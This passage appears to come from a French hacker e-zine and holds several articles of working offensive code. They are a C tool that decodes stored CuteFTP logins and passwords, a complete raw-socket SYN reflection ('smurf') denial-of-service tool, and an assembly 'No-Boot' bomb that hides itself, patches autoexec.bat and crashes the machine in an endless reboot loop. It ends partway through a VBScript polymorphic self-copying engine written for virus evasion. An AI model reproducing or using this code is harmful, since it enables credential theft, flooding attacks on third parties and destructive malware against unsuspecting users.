If Val(Text1) < 65000 And Val(Text1) > 0 Then Form1.Port = Text1 Else MsgBox "Le numéro de port doit etre un entier compris entre 1 et 65000", vbCritical, "Erreur sur le numéro de port"
Form1.Wbox = Check1.Value
Unload Form2
End Sub
************************************Form3**************************************
Pas de code
************************************Form4**************************************
Pas de code
***********************************Bcl.bas*************************************
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)
Option Explicit
Dim AdrIP As String
Dim a, b, c, CR
Public Function Probcl()
'initialisation
Dim IPStruct As Inet_Adress
Dim WData As WSA_DATA
Dim Sin As SOCK_ADDR
Dim sock As Long
Dim Rmt As SOCK_ADDR
Dim essai
CR = WSAStartup(&H101, WData)
If CR <> 0 Then
MsgBox "Mauvaise version de Winsock.dll"
Exit Function
End If
'ouverture de la socket
sock = Socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
'remplissage de la structure sockaddr_in
Sin.sin_addr.S_addr = INADDR_ANY
Sin.sin_port = htons(Form1.Port)
Sin.sin_family = AF_INET
Sin.sin_zero(0) = 0
essai = Len(Rmt)
'on lie la socket à notre port
a = bind(sock, Sin, Len(Sin))
If a < 0 Then MsgBox "Erreur bind " & WSAGetLastError(): Exit Function
b = listen(sock, 2)
If b < 0 Then MsgBox "Erreur listen " & WSAGetLastError(): Exit Function
Form1.Hide
c = accept(sock, Rmt, essai)
If c < 0 Then MsgBox "Erreur accept " & WSAGetLastError(): closesocket (sock): Exit Function
closesocket (sock)
CopyMemory IPStruct, Rmt.sin_addr.S_addr, 4
AdrIP = CStr(Asc(IPStruct.Byte4)) & "." & CStr(Asc(IPStruct.Byte3)) & "." & CStr(Asc(IPStruct.Byte2)) & "." & CStr(Asc(IPStruct.Byte1))
Form1.List1.AddItem Now & ": Scanning from " & AdrIP
Traitement
WSACleanUp
If Form1.Wbox = 0 And Form1.FichDest <> "" Then Probcl
End Function
Private Sub Traitement()
If Form1.Wbox = 1 Then Form1.Show
If Form1.FichDest <> "" Then
Dim Nb
Nb = FreeFile
Open Form1.FichDest For Append As Nb
Print #Nb, Now & ": Scanning from " & AdrIP
Close #Nb
End If
End Sub
by Par4noID && SLy
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Des logins/pass FTP rapides ou
pourquoi les programmeurs de CuteFTP sont des flemards..
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
CuteFTP est un sinon LE client FTP le plus connus et le plus utilisé sous windows. Pourtant il presente une ENORME faille de securite car tout le monde le sais, sous zindozs, on peut pas (ou difficilement) proteger ses fichiers en lecture (en ecriture non plus on peut pas:(
La faille de CuteFTP est d'enregistrer les pass des sites que vous avez entrer dans sa base de donnees(donc les enregistrer dans un fichier sur le hd plus ou MOINS crypter).
Le fichier ou CuteFTP enregistre tout ca c'est smdata.dat qui se trouve dans le rep. ou vous avez avez installer CuteFTP.
Quand on explore ce fichier on se rend compte que les programmeurs de ce soft etait bourre d'acide quand il l'on code : le cryptage utilise est totalemnet inutile! C'est juste un substitution de caracteres! Par exemple a=e, u=d...
Ben maintenenant il ne suffit plus que de decoder tout ca:
apres plusieurs dizaine de minutes a etudier ce putaint de fichier je trouve comment il est structuré:
-L'octets 80(128 en decimal) delimite chaque site.
-Il y a plus ou moins de champs par site(selon si on a rempli ou non tous les champs pendant l'ajout du site dans la base de donnees de CuteFTP) dans l'ordre : nom du site, adresse du serveurFTP, UserID, Pass...apres on s'en fout..
-le premier caractere de chaque champ correspond au nombre de caractere du champ.
Humm...c pas trop clair ca...J'vais vous faire un exemple.
Je lance CuteFTP.
J'ajoute un nouveau site dans sa base de donnee :
label : tf1.fr
serveur FTP : ftp.tf1.fr
UserID : tf1
pass : ********** <==j'ai taper azerty1234
Dans le fichier smdata.dat, ce nouveau site sera code comme ca a la suite des autres :
80 06 't' 'f' '1' '.' 'f' 'r' 0a 'f' 't' 'p' '.' 't' 'f' '1' '.' 'f' 'r'
03 't' 'f' '1' 0a 88 a5 b2 c6 96 66 88 99 b6 c2
(le pass ne correspond pas mais j'espere que vous avez compris)
le deuxieme octet de cet exemple est 06 ce nombre correspond au nombre d'octets (et donc au nombre de carateres) que fait le champ d'apres, la c'est le nom du site : tf1.fr <== il y a bien 6 caracteres.J'espere que je me suis fait comprendre:)
Apres, une fois qu'on a degager tout les champ c tout easy, comme je vous l'ai dit a chaque octet du mot de passe en correspond un autre, il y a donc une table de conversion:
octet* "cryptes" octet clair *en decimal
128 'H'
129 'I'
130 'J'
131 'K'
132 'L'
..etc...
Si vous la voulez entiere, trouvez la tout seul ou pompez la du programme qui suit(J'vais pas m'amuser a la recopier entiere...Moi aussi j'uis flemard!).
Le programme est en C et tourne sous Linux, il prend comme argument le fichier smdata.dat et comme deuxieme argument(facultatif) le fichier de sortie(ou vont etre ecrite les donnees sorties du fichier :
nom du site, serveurFTP, login, Pass
si rien n'est rien specifier comme 2eme argument, sortie vers stdout.
----------------------------Cut here-------------------------------------------
/* RaCute.c Coded by Recursiver<recursiver@caramail.com> le 30/08/2000
* Ce programme "decrypte"(si on peut appeler ca decrypter :()
* le fichier smdata.dat de Cute FTP version 3.x ( les versions anterieures
* doivent etre du meme style et il faut esperer que les versions superieur
* soit un peu mieux crypter...)
* Pour compiler :
* # gcc -o RaCute RaCute.c
* Le premier argument de RaCute est le chemin du fichier smdata.dat et le
* deuxieme(facultatif) et le fichier ou devront etre enregistrer les donnees
* sortie de smdata.dat, si il n'y a pas de 2eme argument, appuyer sur ENTREE
* pour faire defiler les sites sur le terminal. */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#define C ' '
char *decriptPass(char *crypt);
char *takechamp(FILE *fptr);
int main(int argc, char *argv[]) {
FILE *fptr;
FILE *fileout;
int buffer;
int i;
char *champ;
char *label[3] = {"Nom du site", "Adresse du server", "UserID"};
char *pass;
if (argc != 2 && argc != 3) {
fprintf(stderr, "Usage: %s <cutefile> [outputfile]\n", argv[0]);
exit(0);
}
printf("RaCute by Recursiver <recursiver@caramail.com>\n");
printf("Ouverture de %s..\n", argv[1]);
if (argc == 3 ) {
printf("Ouverture de %s..\n", argv[2]);
if ((fileout = freopen(argv[2], "w", stdout)) == NULL)
perror("Erreur dans l'ouverture du fichier");
}
if ((fptr = fopen(argv[1], "r")) == NULL) {
perror("Erreur dans l'ouverure du fichier");
exit(0);
}
while(1) {
while((buffer = fgetc(fptr)) != 128)
if (buffer == EOF)
return 0;
for (i=0 ; i <= 3 ; i++) {
if ((champ = takechamp(fptr)) == NULL) {
printf("Rien de plus :(\n");
break;
}
if (i == 3) {
pass = decriptPass(champ);
if (argc == 2) {
printf("Password = \033[1;31m %s \033[0m\n", pass);
}
else
printf("Password = %s\n\n", pass);
free(pass);
}
else
printf("%s = %s\n", label[i], champ);
free(champ);
}
if (argc == 2)
getchar();
}
putchar('\n');
if (argc == 3)
fclose(fileout);
fclose(fptr);
return 0;
}
char *takechamp(FILE *fptr) {
register int i;
int lchamp;
char buffer;
char *champ;
if ((lchamp = fgetc(fptr)) == 0)
return NULL;
champ = malloc(lchamp + 1);
for(i=0 ; i <= lchamp-1 ; i++) {
buffer = fgetc(fptr);
champ[i] = buffer;
}
champ[i] = '\0';
return (champ);
}
char *decriptPass(char *crypt) {
char table[] = {'H','I','J','K','L','M','N','O','@',
'A','B','C','D','E','F','G','X','Y',
'Z','[','\\',']','^','_','P','Q','R',
'S','T','U','V','W',
'h','i','j','k','l','m','n','o','`',
'a','b','c','d','e','f','g','x','y',
'z','{','|','}','~',C,'p','q','r',
's','t','u','v','w',C,C,C,C,
C,C,C,C,C,C,C,C,C,
C,C,C,C,C,C,C,C,C,
C,C,C,C,C,C,C,C,C,
C,'(',')','*','+',',','-','.','/',
C,'!','"','#','$','%','&',C,'8',
'9',':',';','<','=','>','?','0','1',
'2','3','4','5','6','7','8','9'};
char *clair;
int i;
clair = malloc(strlen(crypt) + 1);
for (i=0 ; crypt[i] != '\0' ; i++) {
if ((unsigned char)crypt[i] >= 128)
clair[i] = table[(unsigned char)crypt[i] - 128];
else
clair[i] = C;
}
clair[i] = '\0';
return (clair);
}
----------------------------Cut here-------------------------------------------
Et voila, moi je suis content j'ai trouver quelqu'un encore plus flemard que moi :)
Si vous avez des remarques, des suggestions...
mailto:recursiver@caramail.com
by Recursiver
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Le SYN/ACK smurfing
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Tout le monde connais le smurfing (expliqué par SLy dans le mag 1), son principe
est simple : on envoie des paquet ping à une liste de machine qui vont répondre
un paquet pong à la cible.
Le SYN-Flooding est également très connu : on envoie énormément de demande de
connexion (paquet SYN) à la cible qui sera débordé par le nombre de réponse
à donner.
Un autre DoS peut-être utilisé. Il repose sur le principe du smurf mais en
changeant le type de paquet : on demande des connexions (paquet SYN) à la liste
de machine qui vont répondre par OUI ou NON (paquet ACK ou RST). La cible sera
alors déborder par le nombre de réponse à donner comme quoi il n'a pas demander
de connexion...
Pour la mise en oeuvre, il faut une liste de machine de préférence ayant toutes
le même port d'ouvert puis il faut envoyer un ou plusieurs paquet ACK à ces
machines. La raison pour laquelle il faut que les machines de la liste aient
toutes le même port ouvert est la réponse ACK qui du côté de la victime
provoquera une réponse RST : ainsi la victime sera débordé par le nombre de
réponses à gérer. Voilà le code qui fait ca :
<-- begin rtcsynsmurf.c -->
<-- cut here -->
/******************************************************************************
* rtcacksmurf.c by SLy and S/asH (members of RtC) *
* ACK Smurfing *
* to make : gcc rtcacksmurf.c -o rtcacksmurf *
* This is a tOOl of RtC TecH *
******************************************************************************/
#define _BSD_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pwd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
/*#define DEBUGGING
/******************************************************************************
* Function HEXDUMP for debugging *
* No comment *
******************************************************************************/
#ifdef DEBUGGING
void HEXDUMP(unsigned len, unsigned char *buf)
{
unsigned i;
for(i=0; i<len; i++)
printf("%02X%c", *(buf+i), ((i+1)%20) ? ' ' : '\n');
}
#endif
/* interface strings */
const char *verstr = "/------------------------------------------------------------------------------\\\n"
"| RtC SYN Smurf |\n"
"| Created by SLy and S/asH (members of RtC) |\n"
"| SYN Smurfing DoS |\n"
"| This is a tOOl of RtC TecH |\n"
"\\------------------------------------------------------------------------------/\n";
const char *syntaxstr = "syntax : rtcacksmurf destip destport fromport bcfile [packetnb [delay]]\n"
" destip : ip of host to smurf\n"
" destport : port to flood\n"
" fromport : port to use for flood (of broadcast ip)\n"
" bcfile : file containing the ip list to use for broadcast\n"
" paquetnb : number of packets to send (default 1)\n"
" delay : delay between two sending in ms (default 100)\n";
/* tcp/ip raw functions */
/******************************************************************************
* in_cksum -- *
* Checksum routine for Internet Protocol family headers (C Version) *
******************************************************************************/
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
/******************************************************************************
* Function tcp_send *
* send a customized TCP Header *
* Input : socket : socket to write *
* address : destination address *
* s_addr, t_addr : source and destination address for checksum *
* s_port, t_port : source and dest port *
* tcpflags : flags of tcp header *
* seq : sequence number *
* ack : ack number *
* win : window size *
* datagram : data to send in tcp packet *
* datasize : size of datagram *
* Output : tcp_send : result of send *
******************************************************************************/
inline int tcp_send(int socket,
struct sockaddr_in *address,
unsigned long s_addr,
unsigned long t_addr,
unsigned s_port,
unsigned t_port,
unsigned char tcpflags,
unsigned long seq,
unsigned long ack,
unsigned win,
char *datagram,
unsigned datasize)
{
struct pseudohdr {
u_int32_t saddr;
u_int32_t daddr;
u_int8_t useless;
u_int8_t protocol;
u_int16_t tcplength;
};
unsigned char packet[2048];
struct iphdr *ip = (struct iphdr *)(packet);
struct pseudohdr *pseudo = (struct pseudohdr *)(packet+sizeof(struct iphdr)-sizeof(struct pseudohdr));
struct tcphdr *tcp = (struct tcphdr *)(packet+sizeof(struct iphdr));
unsigned char *data = (unsigned char *)(packet+sizeof(struct tcphdr)+sizeof(struct iphdr));
/*
* The above casts will save us a lot of memcpy's later.
* The pseudo-header makes this way become easier than a union.
*/
memcpy(data,datagram,datasize);
memset(packet,0,sizeof(struct iphdr)+sizeof(struct tcphdr));
/* The data is in place, all headers are zeroed. */
tcp->th_sport = htons(s_port);
tcp->th_dport = htons(t_port);
tcp->th_off = 5; /* 20 bytes, (no options) */
tcp->th_flags = tcpflags;
tcp->th_seq = htonl(seq);
tcp->th_ack = htonl(ack);
tcp->th_win = htons(win); /* we don't need any bigger, I guess. */
/* pseudo header for cheksum */
pseudo->saddr = s_addr;
pseudo->daddr = t_addr;
pseudo->protocol = IPPROTO_TCP;
pseudo->tcplength = htons(sizeof(struct tcphdr)+datasize);
/* The necessary TCP header fields are set. */
tcp->th_sum = in_cksum((u_short*)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr)+datasize);
/* Make the ip header */
memset(packet, 0, sizeof(struct iphdr));
ip->saddr = s_addr;
ip->daddr = t_addr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->id = random()%1996;
ip->protocol = IPPROTO_TCP; /* should be 6 */
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datasize);
ip->check = in_cksum((char *)packet,sizeof(struct iphdr));
#ifdef DEBUGGING
printf("Packet ready. Dump: \n");
#ifdef DEBUGGING_DATA
HEXDUMP(sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize,packet);
#else
HEXDUMP(sizeof(struct iphdr)+sizeof(struct tcphdr),packet);
#endif
printf("\n");
#endif
return sendto(socket, packet, sizeof(struct iphdr)+sizeof(struct tcphdr)+datasize, 0, (struct sockaddr *)address, sizeof(struct sockaddr));
/* And off into the raw socket it goes. */
}
/******************************************************************************
* Function resolve - resolve an host name *
* Input : name : host name *
* Output : resolve : in_addr struct for hostname *
******************************************************************************/
struct in_addr resolve(char *name)
{
struct hostent *ent;
struct in_addr in;
if (!(ent=gethostbyname(name)))
{
in.s_addr=INADDR_NONE;
return in;
}
return *(struct in_addr *)ent->h_addr;
}
/******************************************************************************
* Function send_ack - send a ack packet on a host *
* Input : sock : raw socket *
* from, dest : sender and destinator *
* fport, dport : ports *
******************************************************************************/
void send_ack(int sock, struct sockaddr_in from, struct sockaddr_in dest, long fport, long dport)
{
fd_set rset;
dest.sin_port = htons(dport);
FD_ZERO(&rset);
FD_SET(sock, &rset);
/* sending a SYN packet */
tcp_send(sock,&dest,
from.sin_addr.s_addr,dest.sin_addr.s_addr,
fport,dport,
TH_SYN,
lrand48()+1, lrand48(),
512,
NULL,
0);
}
/******************************************************************************
* Function smurf : send an ack packet to each host in destlist *
* Input : from : target to smurf *
* destlist : broadcast list *
* fport, dport : ports for smurfing *
* delay : delay between two sending *
******************************************************************************/
void smurf(struct sockaddr_in from, struct sockaddr_in *destlist, long fport, long dport, int delay)
{
int sock, rc;
sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&rc, sizeof(rc))<0) /* set the socket for making ourselves our ip header */
{
fprintf(stderr, "error : couldn't write ip header.\n");
exit(-1);
}
for(rc=0; destlist[rc].sin_addr.s_addr != INADDR_NONE; rc++)
{
send_ack(sock, from, destlist[rc], fport, dport);
usleep(delay);
}
close(sock);
}
/* function for printing syntax string */
void argument(void)
{
fprintf(stderr, syntaxstr);
exit(0);
}
/* Now, the main procedure*/
int main (int argc, char *argv[])
{
struct sockaddr_in target;
FILE *bcastfile;
long fromport, destport;
int i, delay, packetnb;
char buf[256];
struct sockaddr_in *bcastlist;
/* print for prosterity */
printf(verstr);
/* argument test */
if ((argc < 5) || (argc > 7)) argument();
/* argument parsing */
destport = atoi(argv[2]);
fromport = atoi(argv[3]);
packetnb = argc>5 ? atoi(argv[5]) : 1;
delay = argc==7 ? atoi(argv[6]) : 100;
bcastfile = fopen(argv[4], "r");
if(!bcastfile)
{
fprintf(stderr, "Cannot open file %s\n", argv[4]);
return -5;
}
/* Name resolving */
printf("Resolving target name...\n");
target.sin_family = AF_INET;
target.sin_addr = resolve(argv[1]);
if(target.sin_addr.s_addr==INADDR_NONE)
{
fprintf(stderr, "Cannot resolve %s\n", argv[1]);
return -1;
}
printf("Target is %s (%s)\n", argv[1], inet_ntoa(target.sin_addr));
/* Resolving the hosts in the broadcast list */
printf("Resolving broadcast list...\n");
bcastlist = (struct sockaddr_in*)malloc(sizeof(struct sockaddr_in)*100000); /* get 100 000 field */
if(!bcastlist)
{
fprintf(stderr, "error : not enough memory\n");
return -2;
}
printf("Added ");
for(i=0; !feof(bcastfile) && (i<100000); i++)
{
fgets(buf, 256, bcastfile);
if(buf[strlen(buf)-1]=='\n') buf[strlen(buf)-1] = 0;
bcastlist[i].sin_family = AF_INET;
bcastlist[i].sin_addr = resolve(buf);
if(bcastlist[i].sin_addr.s_addr==INADDR_NONE)
i--;
else printf("%s (%s); ", buf, inet_ntoa(bcastlist[i].sin_addr));
}
fclose(bcastfile);
/* Smurfing turn */
printf("\nFlooding... ");
while(packetnb--)
{
printf("%d... ", packetnb);
smurf(target, bcastlist, fromport, destport, delay);
}
printf("done.\n");
return 0;
}
<-- cut here -->
<-- end rtcsynsmurf.c -->
<-- File by S/asH -->
[EOF]
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
La bomb du m4g : No-Boot
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Introduction
=============
Pour une fois, je vais être un peu méchante ; mais c'est juste pour le fun... Il est tellement facile d'exploiter la peur populaire que ça m'a donné une idée. Que fait un utilisateur lambda quand sa machine ne démarre plus : premièrement, il panique puis il insulte la dernière personne à avoir utilisé le PC ("qu'est-ce que t'as encore touché?"), et enfin, après avoir réessayé 40 fois, il se décide à l'emmener chez un réparateur... Mauvaise pioche. Cet utilisateur lambda est peut-être tombé sur la bombe d'Androgyne No-Boot qui ne fait pas mal mais qui fait semblant de faire mal.
Explication
============
Pour cette bombe, on va faire un petit programme test. Allez voir plus loin pour voir comment utiliser cette bombe sans danger. Mais pour l'instant on passe aux explications. On ne va pas attaquer le boot, ça serait pas bien :-) non, il faut faire les choses plus finement. On va attaquer le non-protégé autoexec.bat. En effet, c'est lui qui s'exécute juste après le boot alors s'il y a un problème quelconque, ça s'arrête là.
Le programme va donc se recopier dans le répertoire racine puis mettre une ligne supplémentaire dans l'autoexec.bat. Au prochain démarrage (ou redémarrage parce qu'on peut très bien tout faire planter pour obliger le PC à redémarrer), le PC exécutera notre petit programme qui contient une routine crash ; cette routine crash empêche le PC de démarrer Windows, résultat : le PC reboote à l'infini.
Comment faire crasher Windows ? Rien de plus facile, n'importe quel code foireux fait crasher W mais pour être sûr que ça marche, on va effacer la table des vecteurs d'interruption (et oui, on ne fait pas les choses à moitié). On aurait pu écrire aussi dans la mémoire vidéo (à partir du segment A000), avec des résultats tout aussi convaincants.
Une preuve de plus (s'il en fallait une...) que Windows N'est PAS un "système d'exploitation protégé,préemptif et multitâche".
Code de No-Boot
================
La bombe est présentée sous la forme d'un programme test qui exécute directement la bombe. Quelques modification sont nécessaires pour insérer la bombe dans un virus. Ce programme fait 165 octets une fois compilé : comme quoi 165 octets, ça peut faire mal même à la plus grande firme informatique du monde...
;No-Boot
;a program by Androgyne
.model tiny
.code
org 100h
--------------------------------CUT HERE--------------------------------
Start:
jmp Prepare_Crashing
nop
nop
nop
Crash_Windows:
xor ax,ax ;c'est ça qui va faire mal
mov es,ax ;on se place en es:di = 0000:0000
xor di,di
mov cx,0FFFFh
Crash_Loop:
stosw ;on recopie ax 65536 fois dans le premier segment
loop Crash_Loop
mov ax,4C00h ;ça, c'est juste au cas où...
int 21h
Prepare_Crashing:
mov si,offset Begin ;on efface le jmp du début et on met des nop
mov di,100h
mov cx,4
rep movsb
Copy_No_boot:
mov cx,00000010b ;on crée un fichier No-Boot dans C:\
mov dx,offset File_Name ;le fichier sera caché
mov ah,3Ch
int 21h
jc The_End
mov bx,ax
mov al,0 ;on place le pointeur de fichier au début
xor cx,cx
xor dx,dx
mov ah,42h
int 21h
mov cx,offset that_s_all_folks - offset Start
mov dx,offset Start
mov ah,40h ;on s'y recopie
int 21h
jc The_End
mov ah,3Eh ;on ferme
int 21h
Infect_Autoexec:
mov dx,offset Autoexec
mov al,2
mov ah,3Dh ;on ouvre autoexec.bat
int 21h
jc The_End
mov bx,ax
mov al,2
xor cx,cx ;on met le pointeur à la fin
xor dx,dx
mov ah,42h
int 21h
mov cx,Path_Length
mov dx,offset File_Path ;on écrit le mot magique
mov ah,40h
int 21h
jc The_End
mov ah,3Eh ;on ferme
int 21h
The_End:
mov ax,4C00h ;et voilà, c'est fini
int 21h
AutoExec db 'C:\Autoexec.bat',0
File_Name db 'C:\No-Boot.com',0
File_Path db 0Dh,0Ah,'No-Boot',0Dh,0Ah
Path_Length equ $ - File_Path
Begin db 4 dup (90h)
That_s_all_folks:
end Start
--------------------------------CUT HERE--------------------------------
Expérimentation
================
Alors là, il ne faut pas faire de conneries. On va quand même crasher Windows et de quelle manière... Alors soyez prévoyant avant de faire n'importe quoi. Tout d'abord, munissez vous d'une disquette boot. Ensuite, lancez le programme, redémarrez et si tout se passe bien (ou mal, ça dépend du point de vue), tout plante et votre PC reboote sans cesse. Arrêtez le (si ça ne marche pas en appuyant sur Power, laissez Power enfoncé quelques secondes...) et redémarrez avec votre disquette boot. Tapez 'edit autoexec.bat' sur la ligne de commande puis enlevez la ligne superflue, enregistrer et rebooter, c'est bon. N'oublier pas d'effacer No-Boot du répertoire racine.
By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Polymorphisme Vbs : suite et fin
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Polymorphisme en VBScript (2ème partie)
La dernière fois, nous avons vu un moteur de polymorphisme pour VBScript.
Malheureusement, à chaque fois qu'il se dupliquait sa taille était multipliée. Dans cette améliorations, j'ai résolu le problème :
A chaque fois qu'il lit une ligne dans le fichier, il vérifie si c'est une ligne de code (en regardant en faites si ce n'est pas une ligne d'arguments commençant par ' ou une ligne d'espaces ou ligne avec aucun caractère correspondant en fait à un [entrée]) avant de la recopier dans le fichier cible. Sinon il lit la prochaine ligne de code et vérifie. Il fait cela jusqu'à quand il trouve une ligne de code qui recopie dans le fichier cible .
Voici donc ce que j'ai rajouté à la fonction Code :
----------------------
If MyFile.AtEndOfStream = False Then Test = MyFile.ReadLine
If Left(Test, 1) = "'" Then Call Code
If Test = "" Then Call Code
Pas_Espace = VerifEspaceFunc
If Pas_Espace = False Then Call Code
'puis le code normal de la fonction Code : en gros si ça arrive à là, la variable Test 'est recopiée dans le fichier cible
----------------------
En clair je fais un premier test pour savoir si c'est un argument. Si s'en est un alors il rappelle la procédure pour lire la prochaine ligne du fichier et refaire la série de test.
Deuxième test : Est-ce que c'est une ligne où il n'y a rien car c'est un [entrée]
Troisième test : Est-ce que c'est qu'une ligne qu'avec que des espaces grâce à la fonction VerifEspaceFunc.
A d'ailleurs elle est nouvelle et j'ai oublié de vous la montrer :
----------------------
Function VerifEspaceFunc()
Dim i
For i = 1 To Len(Test)
If Mid(Test, i, 1) <> Chr(32) Then Exit Function
VerifEspaceFunc = False
Next
End Function
----------------------
La fonction VerifEspaceFunc parcourt la chaîne Test et s'il ne trouve pas des caractères différents d'[Espace] alors VerifEspaceFunc est égale à false.
J'ai aussi rajouté , depuis la dernière fois, du code pour rendre le fichier dupliqué moins voyants à cause de son nom bizarre (par exemple : FHGYTRJHJIG). Donc j'ai fait en sorte que quand le fichier se crée il n'est pas un nom bizarre. En effet maintenant il tire au hasard un nom de fichier (sans son extension) se trouvant dans le dossier Recent du répertoire Windows (c'est à dire que c'est les noms de fichiers se trouvant dans Documents du menu Démarrer.
Voici le code :
----------------------
Dim n, m, longueur, DossierR, fc, f1, s, Dossier
Const Dossier_Windows = 0
Set Dossier = fso.GetSpecialFolder(Dossier_Windows) 'Dossier = au dossier windows
Dossier = Dossier + "\Recent"
Set DossierR = fso.GetFolder(Dossier)
Set fc = DossierR.Files 'création d'une collection de tous les fichiers contenues 'dans le dossier
x = 0
For Each f1 In fc ' boucle pour chaque fichier contenu dans le dossier
x = x + 1
Next
'x est donc maintenant égale au nombre de fichier contenu dans le dossier \Recent
'de windows
If x <> 0 Then
'Donc le code d'après est exécuté si il y a des fichiers dans le dossier.
x = Int(Rnd * x + 1)
s = 0
For Each f1 In fc
'boucle pour chaque fichier contenu dans le dossier \Recent de windows
s = s + 1
HOho = fso.GetBaseName(f1.Name)
'HOho est = au nom (sans l'extension) d'un fichier
'contenue dans le dossier \Recent de windows (j'en ai marre)
If s = x Then Exit For
Next
End If
---------------------
Bien sûr s'il ne trouve pas de fichier dans le dossier Recent de Windows, il crée comme avant un nom au hasard. Pour ne pas qu'il se fasse écraser par lui-même (en effet en lançant le VBScript, il se copie d'abord dans le fichier Recent de Windows(encore une fois)), il crée aussi un nom au hasard s'il se trouve dans le dossier Recent.
Voici donc la fonction : (Toute simple)
----------------------
If Moi = HOho + ".vbs" Then x = 0
If x = 0 Then
longueur = Int(Rnd * 8) + 3
For n = 1 To longueur
m = Chr(Int(Rnd * 25) + 65) + m
Next
HOho = m
End If
----------------------
Voilà enfin le code :
--------------------------------------------------------------------------------------
Dim fso, f, ts, MyFile, Nom, Hasard, Moi, DebText, Test
' Déclare les variables
Const Lecture = 1, Ecriture = 2
'declare des constantes pour que le code soit plus lisible
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Const vbBinaireComparaison = 0
Randomize
Set fso = CreateObject("Scripting.FileSystemObject")
Moi = "essai.vbs"
' Moi est le nom du fichier où vous mettez mon moteur de polymorphisme
Nom = HOho + ".vbs" 'appel la fonction HOho
fso.CreateTextFile Nom
'créer un fichier
Set ts = fso.OpenTextFile(Nom, Ecriture)'
'l'ouvre en écriture
Set MyFile = fso.OpenTextFile(Moi, Lecture)
'ouvre ce fichier en mode lecture
'Voici une petite boucle qui est l'essentiel dans mon moteur. La boucle s'arrête
'quand le programme est arrivé au bout du fichier de votre virus.
Do
Hasard = Int(Rnd * 4 + 1)
If Hasard = 1 Then DebText = Enter
If Hasard = 2 Then DebText = Code
If Hasard = 3 Then DebText = Argument
If Hasard = 4 Then DebText = SpaceFunc(10, 20)
If Hasard = 5 Then DebText = vbCrLf
ts.WriteLine DebText
If MyFile.AtEndOfStream = True Then Exit Do
Loop
ts.Close
MyFile.Close
Function Code()
Dim Verif, Pas_Espace
If MyFile.AtEndOfStream = False Then Test = MyFile.ReadLine
If Left(Test, 1) = "'" Then Call Code
If Test = "" Then Call Code
Pas_Espace = VerifEspaceFunc
If Pas_Espace = False Then Call Code
If Left(Test ,10) = " Moi = " Then Test = " Moi = " + """" + Nom + """":
Code = Test
End Function
Function VerifEspaceFunc()
Dim i
For i = 1 To Len(Test)
If Mid(Test, i, 1) <> Chr(32) Then VerifEspaceFunc = True : Exit For
VerifEspaceFunc = False
Next
End Function
'Cette permet de créer une chaîne de caractère ASCII compris entre 14 et 255 ( et
'ouais car avant 13 les caractères comme [entrée], [tab] font planter le script vbs
'meme s'ils sont dans des arguments) de longueur comprise entre NbMin et NbMax.
Function Chaine_Aleatoire(NbMin, NbMax)
Dim z, i
Randomize
z = Int(Rnd * (NbMax - NbMin) + NbMin)
For i = 0 To z
Chaine_Aleatoire = Chr(14 + Int(Rnd * 241)) + Chaine_Aleatoire
Next
End Function
'Cette fonction permet de créer une chaîne de caractère contenant des espaces de
'nombre compris entre le nombre de la variable
'MinSpace et celle de la variable MaxSpace.
Function SpaceFunc(MinSpace, MaxSpace)
Dim b
b = Int(Rnd * (MaxSpace - MinSpace) + MinSpace)
SpaceFunc = Space(b)
End Function
Function Argument()
Dim Comment, Espace, NbAleatoire
Argument = Chaine_Aleatoire(Int(Rnd * 10), Int(Rnd * 10) + 10)
Espace = SpaceFunc(Int(Rnd * 3), Int(Rnd * 5) + 3)
NbAleatoire = Int(Rnd * 2) + 1
If NbAleatoire = 1 Then Comment = vbCrLf
If NbAleatoire = 2 Then Comment = Espace
If NbAleatoire = 3 Then Comment = ""
Argument = "'" + Argument + Comment
End Function
'Cette fonction permet de créer une chaîne de caractère contenant 1 à 4 [entrée]
'en utilisant comme proprièté vbCrLf car vbCrLf =[entrée]
Function Enter()
Dim c, d
d = Int(Rnd * 4) + 1
For c = 0 To d
Enter = Enter + vbCrLf
Next
End Function
'Cette fonction permet générer un nom en le trouvant dans le dossier \Recent du 'dossier Windows qui est est en fait les noms que vous pouvez trouver quand vous 'faites Démarrer/Documents
Function HOho()
Dim n, m, longueur, DossierR, fc, f1, s, Dossier
Const Dossier_Windows = 0
Set Dossier = fso.GetSpecialFolder(Dossier_Windows)
Dossier = Dossier + "\Recent"
